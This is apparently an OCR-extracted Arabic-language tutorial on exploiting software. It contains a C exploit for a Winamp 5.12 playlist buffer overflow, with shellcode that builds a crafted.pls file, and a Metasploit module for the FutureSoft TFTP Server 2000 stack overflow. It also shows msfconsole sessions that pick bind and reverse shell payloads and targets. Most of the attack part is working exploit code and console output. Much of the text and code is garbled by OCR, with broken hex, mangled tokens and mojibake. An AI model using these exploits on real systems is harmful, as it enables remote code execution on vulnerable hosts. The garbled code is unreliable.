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#include<stdio.h>
#include<string.h>
main()

chara[10] ;
printf ("enter a: ") ;
scanf ("%s",a) ;
printf ("coded by shaja%s ", a) ;
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#include <stdio.h>
void f1(void) { printf("a"); };
void f2(void) { printf("b"); };
void f3(void) { printf("c"); }

void ([3])() = { f1,f2,f3 };
void main(void) {
inti,,k;
for (i=0; i<100; i++) {
for (j=0; j<1000000; j++) ;
k=i/33;
if (k>3) continue;
flk10; };
printf("\n");
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#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1="BOF~\r\nLength1=FFF\r\nNumberOfEntrie
s=1\r\nVersion=2\r\n";

I/ Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xE C\x70\xFF\ xE4" ;

/[ Harmless cmd.exe
char shellcode[] =
"\x54\x50\x5 3\x50\x29\ xc9\x83\xe9\ xd e\ xe8\xFf\xff\ xf
f\xff\xc0\x5e\x81\x76\x0e\x02"



"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x0
2\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x8
9\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\ x03\x1f\xe5\xb9\x3
9\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\ xc6\x5d\xc1\x0f\xa6\x8
9\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\ x4e\x7d\x87\x1d\x76\x41\x8
9\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3
e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\ xb3\x8
8\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d" ;

int main(int argc,char *argv([])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com &&
http://www.atmacasoft.com");

printf("\nE-Mail: atmaca@icgmail.com");
printf("\nCredit to Kozan");

FILE *File;
char *pszBuffer;

if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {

printf("\n [Err:] fopen()");
exit(1);

}

pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayLi stHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode )-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(s zPlayListHeader2)-1);

fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);

printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
return 1;

}
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cygwindill home e 8 dlia el alaa JA0 ¢ 2laialy o sl Jadas

1iba

clogdei  olgal  dlagell  Lays gmes ule

Folder Svnc v cilalza El:t‘j— e /C) E.

Cihoyvgwinthomeshaja = ol

bashrc bash_profile e —
BASHRT ile BASH PROFILE e ARy AL ol
5. 2o

T ET P R | ﬂ
SERVEIETVEC PN~ |
slrall 138 85)Ldwe fgd

shaja.c

 Source File c

G|
.:-J;-'n-n‘-tili Cdle //’?/_

hame |5

ilzisanll (5]

B9y Oluswn )
VoSl jlex 1
Ll 45,0 zaslgn §

cygwings
Jla daa i) jal Aig

Gcc shaja.c o shaja
o gall gﬁ LaS

1iba



Jshajadliss o ail) Jadi oY)

1iba

gece shaja.c —o shaja

.“zhaja

linamp 5.12 Hemote Buffer Overflow Universal Exploit

Bug discovered & exploit coded by ATmaCh

fleh: http:/svwww.spyinstructors.com && http: /uww.atmacasoft.com
fE-Mail: atmacalicgmail.com

fCredit to HKozan

icrafted.pls has heen created in the current directory.

crafted.pls has been created in the current directory.

Winamp 5.12



il Lo

Folder Sync v Gilslzo H____L' S

Jinputrc .bashrc .bash_profile
IMPUTRC Gla BASHRC ila BASH_PROFILE la
Znd I Z2ond

crafted.pls shaja.c
shaja.exe Winamp plavlist file . source File
A Sond

VeIIeIl lf}il‘ﬂtE‘S

Jg¥) B Ll La Jia aSad L cya iy g s Jary oy dale cilal) Lo
bi

Ologlei uayS G i wblo

] 1
Bl aw1ist]
" M =Fi1el
S0 P oI T B2 A
~Tit1el=—B0F
. L;ngth1=FFF
=% ] B o ol B 3 3 3 it MumbercofEntries=1
T el Sy Deg Al o sl Al e Jerne version=2

calc ece

VW . 4Kr.org e

Winamp 5.12z4U 5 (358 () dsawn cilal) Jadi oY)
Winamp 5.1275) L 5y Uz iid) CALC.EXE (55 a9 0 yilaa 4t g

o sl s
2N



Play Optionz  View Help woeoons | File  Plavlist

Sort Help
@J '| e

iy kens:

| Eackspace| |

A i g 9 4 zart

L

48 Dig:

crafted

i1 item [0:00] [1 KE]

click an item to get its info

calc 4aladl @5 ) s ‘_",.u,g PLEY clas @il g
dlgw buffer overflow o &l oda Lk
A ) s shell code 358 Jadld oS Jal) (8o 0 it dly il 1) dgualad) 8 ja) d U agks
ol ald (sS dndadlg Ay S ) il dpulal) b
daapda g o) gua ol




d.pls"”
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ftpd. exe: 1652 IDP 0.0.0.0:69

A=

e, 4 | Frotocol | Local Address | Remate Addrezz | State
3LG.ExE: 1756 TCP 127.0.0.1:1025 00000 LISTEMIN
5455 ExE:RQ0 LDP 0.0.0.0:4500 *

SASS ExE:ROD LDP 0.0.0.0:500 *

WCHOST E=E 824 TCP 0.0.0.0:135 00000 LISTEMIN
WCHOST Ex=E: 864 LDP 127.0.01:123 o

WCHOS T ExE 952 LIDF P En0 *
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BA4EZICF | ~7E EC JNZ SHORT tftpd. DE4829E0
BA4EZ901| G@ FUSH EAX
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#H#
# This file is part of the Metasploi t Framework and may
be redistributed
# according to the licenses defined in the Authors field
below. In the
# case of an unknown or missing license, this file
defaults to the same
# license as the core Framework (dual GPLv2 and
Artistic). The latest
# vers ion of the Framework can always be obtained from
metasploit.com.
H#

package Msf.:Exploit::futuresoft_tftpd;
use base "Msf::Exploit" ;
use strict :
use Pex:Text,

my ={}
my =
{
‘Name' => 'FutureSoft TFTP Server 2000 Buffer Overflow
'V ersion’ => '$Revision: 1.1 $' ,
'‘Authors’ =>[ 'yO [at] wOOt - shell.net’ s
‘Arch'  =>] 'x86" |,
'0S' =>[ 'win32" , 'winnt' , 'win2000" , ‘'winxp' , 'win2003'
1,
'Priv’ = 0,
'‘AutoOpts' =>{ 'EXITFUNC' => 'process’ 3
‘UserOpts’ =>
{
'RHOST =>[ 1, 'ADDR', 'Th e targetaddress' ],
'RPORT =>[ 1, 'PORT', 'The target port , 69],
'SSL' =>[ 0, 'BOOL', 'UseSSL' ],
|3
'Payload' =>
{

'Space’ => 350,
‘BadChars' => "\x00",
'Prepend' => "\ x81\xc4\ xff \ xef \ xff \ xff \x44",
'Keys' =>][ '+tws2ord |,

2

'‘Description’ => Pex:Text: ‘Freeform(  qof
This module exploits a stack overflow in the FutureSoft
TFTP Server



2000 product. By sending an overly long transfer - mode
string, we were able
to overwrite both the SEH and the saved EIP. A subsequent
write - exception
that will occur allows t he transferring of execution to
our shellcode
via the overwritten SEH. This module has been tested
against Windows
2000 Professional and for some reason does not seem to
work against
Windows 2000 Server (could not trigger the overflow at
all).

},

'Refs ' =>
[
['CVE', '2005 -1812' ],
['BID' , '13821' ],

[ 'URL' , ' http://www.security.org.sg/vuin/tftp2000-1001.html1,
1,
‘Targets' =>
[
[ 'Windows 2000 Pro English ALL' , 0x75022ac4 |, #
wszhelp.dll
[ 'Windows XP Pro SPO/SP1 English’ , Ox7laa32ad |, #
ws2help.dll
[ 'Windows NT SP5/SP6a English' , Ox776a1799 |, #
wszhelp.dll
[ 'Windows 2003 Server English’ , Ox7ffc0638 |, # PEB return
1,
'‘Keys' =>[ 'tftpd' 1,
¥
sub {
my = shift ;
my = - >SUPER:: new({ 'Info’ => :
'Advanced’  => 3 );
return ( );
}
sub
L
my = shift ;
my = ->GetVar( 'RHOST'");
my = ->GetVar( 'RPORT'");
my = - >GetVar( 'TARGET');
my = - >GetVar( 'EncodedPayload’ ) - >Payload;
my = ->Targets - >[ I

(! - >InitNops(  128)) {


http://www.security.org.sg/vuln/tftp2000-1001.html

$self ->PrintLine(  "[*] Failed to initialize the nop
module.” );
return

}
my $splat = Pex:Text::AlphaNumText( 142);

my $sploit =
"\ x00\x01". "metasploit.txt" . "\x00". Ssplat
"\ xeb\x06". pack('V' , Starget ->[ 1]).
$shellcode . "\ x00";

Sself  ->PrintLine( sprintf  ("[*] Trying to exploit target %s
w/ return 0x%.8x" ,
$target ->[ 0], Starget ->[1]);

my $s = Msf.:Socket::Udp - >new
'PeerAddr’ => S$target host
'PeerPort’ => S$target_port
'‘LocalPort' => S$self ->GetVar( 'CPORT"),
'SSL' => S$self ->GetVar( 'SSL' ),
);
( $s- >IsError) {
$self - >PrintLine( '[*] Error creating socket: ' . $s-
>GetError);
return ;
}

$s->Send( $sploit );
$self ->Handler( $s);
$s->Close ();
return ;

}
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———

+ — —=[ mzfconsole vZ.4 [?? exploits — 7% pavloads]

m=f » use futuresoft_tftpd
mef futuresoft_tftpd > _

+ — —=[ mzfconsole v2.4 [7? exploits — 7% pavloads]

=f » uze futuresoft_tftpd
zf futuresoft_tftpd > show options

Description

optional
regquired The target address
reguired The target port

Target: Target Mot Specified

=f futuresoft_tftpd > set RHOET 127 . 8B.8.1
HOST —> 127.8.8.1

=f futuresoft_tftpd > set RPORT 69

PORT —> &9

zf futuresoft_tftpd >




msf futuresoft_tftpd > show payloads

Metasploit Framework Usable Payloads

wini2_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
wind2_hind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_styg Windows Staged Bind Shell
wind2_hind_stg_upexec Windows Staged Bind Upload~sExecute
win32_bind_vncingject Windows Bind UHC Server DLL Inject
winli2_exec Windows Execute Command

winl2_reverse Windows Reversze Shell
windZ2_reverze_dllinject Windows Reverse DLL Inject
winl2_reverse_meterpreter Windows HReversze Meterpreter DLL Inject
windZ_reverze_ord Windows Staged Reverse Ordinal Shell
win32_reverse_ord_vncingject Windows Reversze Ordinal UHC Server Inject
windZ_reverze_stg Windows Staged Reverse Shell
winl2_reverse_stg_upexec Windows Staged Reverse Upload-/Execute
windZ2_reverze_wvncinject Windows Reverse UNC Server Inject

mzf futuresoft_tftpd > set PAYLOAD win3d2_hind
PAYLOAD —> win32_hind
mzf futuresoft _tftpd{wind2_hind>» >




msf futuresoft_tftpd<uwindZ2_hind>» > set TARGET 1
TARGET —-> 1
msf futuresoft_tftpd<windZ2_hind>» > show options

Exploit and Payload Options

Description
optional
required RHOST 127.8.8.1 The target address
required RPORT (% The target port
Payload: Default Description
required EXITFUNC Exit technigue: "process",. "thread', "seh"

required LPORT Listening port for bhind shell
Target: Windows AF Pro SPE-SP1 English

msf futuresoft_tftpd<windZ2_hind> > _

www.shaja.net
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